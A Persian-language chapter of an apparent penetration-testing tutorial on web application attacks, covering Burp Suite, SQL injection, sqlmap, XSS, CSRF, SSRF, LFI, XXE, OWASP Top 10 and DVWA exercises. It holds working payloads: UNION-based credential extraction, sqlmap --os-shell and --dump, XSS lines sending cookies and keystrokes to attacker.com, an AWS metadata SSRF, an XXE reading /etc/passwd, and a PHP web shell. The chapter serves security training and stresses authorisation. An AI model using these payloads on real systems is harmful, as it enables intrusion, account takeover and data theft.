فصل ۶: هک وباپلیکیشن
معماری وباپلیکیشن، Burp Suite، SQL Injection (Union/Boolean/Time/Error)، sqlmap، XSS (Reflected/Stored/DOM)، CSRF، SSRF، LFI/RFI و XXE بههمراه OWASP Top 10.
معماری وباپلیکیشن
یک وباپلیکیشن مدرن معمولاً از این لایهها تشکیل میشود:
| لایه | مثال | نقش |
|---|---|---|
| Frontend | HTML, CSS, JS, React | رابط کاربری در مرورگر |
| Backend | PHP, Node.js, Python, Java | منطق برنامه |
| Database | MySQL, PostgreSQL, MongoDB | ذخیره داده |
| Web Server | Nginx, Apache | سرو فایلهای استاتیک و پراکسی |
| Application Server | uWSGI, Tomcat | اجرای کد Backend |
| API | REST, GraphQL | ارتباط بین کلاینت و سرور |
هر لایه میتواند حملهپذیر باشد. در این فصل، حملات اصلی لایههای Backend و Database را مرور میکنیم.
Burp Suite — ابزار همهکاره
Burp Suite (نسخه Community رایگان، نسخه Professional پولی) استاندارد طلایی تست نفوذ وب است. این ابزار بهعنوان یک پراکسی بین مرورگر و سرور قرار میگیرد و تمام ترافیک را امکان بررسی، تغییر و تکرار میدهد.
قابلیتهای اصلی Burp:
- Proxy: ضبط و تغییر درخواستها در لحظه.
- Repeater: تکرار و تغییر یک درخواست برای تست دستی.
- Intruder: فازر خودکار برای حملات brute-force و payload injection.
- Decoder: رمزگشایی/رمزگذاری Base64، URL، HTML و غیره.
- Comparer: مقایسه دو پاسخ برای یافتن تفاوتهای ظریف.
- Sequencer: تحلیل تصادفی بودن توکنهای session.
راهاندازی:
# در Kali از قبل نصب است
burpsuite &
# تنظیم مرورگر Firefox برای استفاده از پراکسی 127.0.0.1:8080
# و نصب گواهی CA از http://burp/certBurp Suite Community کافی است
برای اکثر تستهای نفوذ قانونی، نسخه Community کاملاً کافی است. نسخه Professional فقط ابزارهای اسکن خودکار پیشرفتهتر و Burp Collaborator (برای کشف blind vulnerabilities) را اضافه میکند. اگر Bug Bounty میکنید، نسخه Pro ارزش سرمایهگذاری دارد؛ در غیر این صورت، صرفهجویی کنید.
SQL Injection
SQL Injection (SQLi) یکی از قدیمیترین اما همچنان خطرناکترین آسیبپذیریهای وب است. زمانی رخ میدهد که ورودی کاربر بدون پارامتریسازی مستقیماً در کوئری SQL قرار میگیرد.
انواع SQL Injection
| نوع | کارکرد | دشواری کشف |
|---|---|---|
| Union-based | استفاده از UNION برای الحاق خروجی دلخواه | کم |
| Error-based | استخراج داده از پیام خطای SQL | کم |
| Boolean blind | استنتاج داده از تفاوت true/false | متوسط |
| Time-based blind | استنتاج داده از تاخیر SLEEP | بالا |
| Out-of-band | ارسال داده از طریق DNS/HTTP به سرور مهاجم | بالا |
کشف و استثمار دستی
فرض کنید URL زیر را پیدا کردهاید:
http://example.com/page?id=1برای تست SQLi، یک کوتی اضافه کنید:
http://example.com/page?id=1'اگر صفحه خطای SQL یا رفتار متفاوت نشان داد، احتمالاً آسیبپذیر است. استثمار Union-based:
-- تشخیص تعداد ستونها
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
-- پیدا کردن ستونهای نمایشدادهشده
' UNION SELECT NULL, NULL, NULL --
-- استخراج نسخه دیتابیس
' UNION SELECT NULL, version(), NULL --
-- لیست جدولها
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables --
-- استخراج نام کاربری و رمز عبور
' UNION SELECT username, password, NULL FROM users --Time-based blind برای زمانی که صفحه هیچ خروجی قابل مشاهدهای نمیدهد:
-- اگر ۵ ثانیه تاخیر شد، آسیبپذیر است
' AND SLEEP(5) --
-- استخراج اولین کاراکتر نام دیتابیس
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --sqlmap — اتوماسیون SQLi
sqlmap قدرتمندترین ابزار خودکار برای SQLi است. همیشه قبل از استفاده، مطمئن شوید که درخواست را در Burp یا curl بازتولید کردهاید تا خطر آسیب به دیتابیس را کاهش دهید.
# اسکن پایه
sqlmap -u "http://example.com/page?id=1" --batch
# فهرست دیتابیسها
sqlmap -u "http://example.com/page?id=1" --dbs
# فهرست جدولهای یک دیتابیس
sqlmap -u "http://example.com/page?id=1" -D dbname --tables
# فهرست ستونهای یک جدول
sqlmap -u "http://example.com/page?id=1" -D dbname -T users --columns
# استخراج کامل داده
sqlmap -u "http://example.com/page?id=1" -D dbname -T users --dump
# استفاده از یک درخواست ذخیرهشده Burp
sqlmap -r request.txt --batch
# تلاش برای گرفتن شل OS
sqlmap -u "http://example.com/page?id=1" --os-shell
# دور زدن WAF با tamper scriptها
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between--dump میتواند خطرناک باشد
گزینه --dump کل محتویات یک جدول را استخراج میکند که میتواند شامل هزاران رکورد باشد و فشار زیادی روی سرور بیاورد. در تست نفوذ قانونی، معمولاً فقط --count و سپس استخراج چند رکورد نمونه کافی است. هیچگاه --dump-all را بدون هماهنگی با مشتری اجرا نکنید.
XSS — Cross-Site Scripting
XSS زمانی رخ میدهد که ورودی کاربر بدون escape شدن در صفحه HTML خروجی داده میشود. این به مهاجم اجازه میدهد کد جاوااسکریپت در مرورگر قربانی اجرا کند.
انواع XSS
| نوع | تعریف | مثال |
|---|---|---|
| Reflected | payload از URL گرفته و در پاسخ نمایش داده میشود | جستجو در سایت |
| Stored | payload در دیتابیس ذخیره و برای همه کاربران نمایش داده میشود | کامنت در وبلاگ |
| DOM-based | پردازش در سمت کلاینت، بدون رفتوبازگشت به سرور | تغییر DOM با JavaScript |
Payloadهای متداول
<!-- Payload پایه -->
<script>alert('XSS')</script>
<!-- دور زدن فیلتر ساده -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS)>
<!-- سرقت کوکی -->
<script>new Image().src='http://attacker.com/log?c='+document.cookie</script>
<!-- Keylogger -->
<script>document.onkeypress=function(e){new Image().src='http://attacker.com/k?c='+e.key}</script>
<!-- اجرای Beef hook (برای تست پیشرفته) -->
<script src="http://attacker.com:3000/hook.js"></script>برای ذخیرهای، این payload را در فیلد کامنت یا پروفایل وارد کنید و سپس صفحه را refresh.
CSRF — Cross-Site Request Forgery
CSRF زمانی رخ میدهد که یک وباپلیکیشن درخواستهای حساس را فقط بر اساس کوکی session احراز هویت میکند و بدون token مخصوص CSRF. مهاجم یک صفحه مخرب میسازد که قربانی در حالت login اگر باز کند، درخواست ناخواستهای به سایت ارسال میکند.
مثال فرم مخفی CSRF:
<form action="http://bank.com/transfer" method="POST" id="f">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit()</script>دفاع: استفاده از CSRF token، SameSite cookies و re-authentication برای عملیات حساس.
SSRF — Server-Side Request Forgery
SSRF به مهاجم اجازه میدهد از سرور قربانی برای ارسال درخواست به سیستمهای داخلی (که از بیرون قابل دسترس نیستند) استفاده کند. هدفهای شایع:
http://169.254.169.254/latest/meta-data/— AWS metadatahttp://localhost:6379/— Redis داخلیfile:///etc/passwd— خواندن فایل محلی
مثال:
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/LFI/RFI — File Inclusion
LFI (Local File Inclusion) اجازه میدهد فایلهای محلی سرور خوانده شوند. RFI (Remote File Inclusion) اجازه میدهد فایل از یک URL خارجی include شود و در نتیجه اجرای کد از راه دور.
کشف LFI:
http://example.com/page?file=../../../../etc/passwd
http://example.com/page?file=php://filter/convert.base64-encode/resource=index.phpاکنون میتوانید با PHP filter، کد منبع فایلها را بهصورت Base64 بخوانید و سپس decode کنید.
XXE — XML External Entity
XXE در پارسرهای XML قدیمی رخ میدهد که entity خارجی را پردازش میکنند. یک payload نمونه:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>این payload محتویات /etc/passwd را در پاسخ سرور قرار میدهد.
OWASP Top 10 — جدول خلاصه
| رده | نام | مثال |
|---|---|---|
| A01 | Broken Access Control | IDOR، عدم چک نقش |
| A02 | Cryptographic Failures | رمزنگاری ضعیف، TLS نسخه قدیمی |
| A03 | Injection | SQLi، Command Injection |
| A04 | Insecure Design | نبود مدل تهدید |
| A05 | Security Misconfiguration | فایل پشتیبان روی سرور، بنر نسخه |
| A06 | Vulnerable Components | کتابخانه قدیمی با CVE |
| A07 | Auth Failures | brute-force، session ثابت |
| A08 | Software/Data Integrity Failures | بدون امضای باینری |
| A09 | Logging Failures | لاگنکردن رویدادهای حساس |
| A10 | SSRF | دسترسی به متادیتای ابر |
قانون نهایی هک وب
تمام تکنیکهای این فصل فقط باید روی سیستمهایی اجرا شوند که اجازه کتبی برای تست آنها دارید. حتی ارسال یک payload XSS به سایت عمومی یک شرکت بدون اجازه، میتواند به اتهام «دسترسی غیرمجاز» تعبیر شود. در Bug Bounty، حتماً scope را با دقت بخوانید و هرگز خارج از آن تست نکنید.
تمرین عملی — DVWA
نرمافزار DVWA (Damn Vulnerable Web Application) را در یک ماشین مجازی راه بیندازید:
# در Kali
sudo apt install dvwa
sudo service apache2 start
# دسترسی: http://localhost/dvwa
# نام کاربری: admin / رمز: passwordسپس این تمرینها را با Burp Suite اجرا کنید:
# 1. SQLi در صفحه SQL Injection
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=YOUR_SESSION" --dbs
# 2. XSS Reflected
# وارد کنید در فیلد: <script>alert(document.cookie)</script>
# 3. Command Injection
# وارد کنید در فیلد: ; cat /etc/passwd
# 4. File Upload
# آپلود یک فایل PHP با محتوای: <?php system($_GET['c']); ?>
# سپس دسترسی: http://localhost/dvwa/hackable/uploads/shell.php?c=idخلاصه و گام بعدی
در این فصل، با حملات اصلی وباپلیکیشن از SQL Injection تا XSS، CSRF، SSRF، LFI و XXE آشنا شدید و یاد گرفتید که چگونه با Burp Suite و sqlmap این حملات را اتوماسیون کنید. فهم عمیق هر حمله به شما امکان میدهد در پلتفرمهایی مانند PortSwigger Web Security Academy و HackTheBox مهارت کسب کنید.
در فصل بعد، با حملات رمز عبور آشنا میشوید؛ جایی که تکنیکهای hash cracking، brute-force و password spraying را با ابزارهایی مانند Hashcat و John the Ripper مرور میکنیم.
این صفحه در تاریخ ۸ تیر ۱۴۰۵ بهروزرسانی شده است.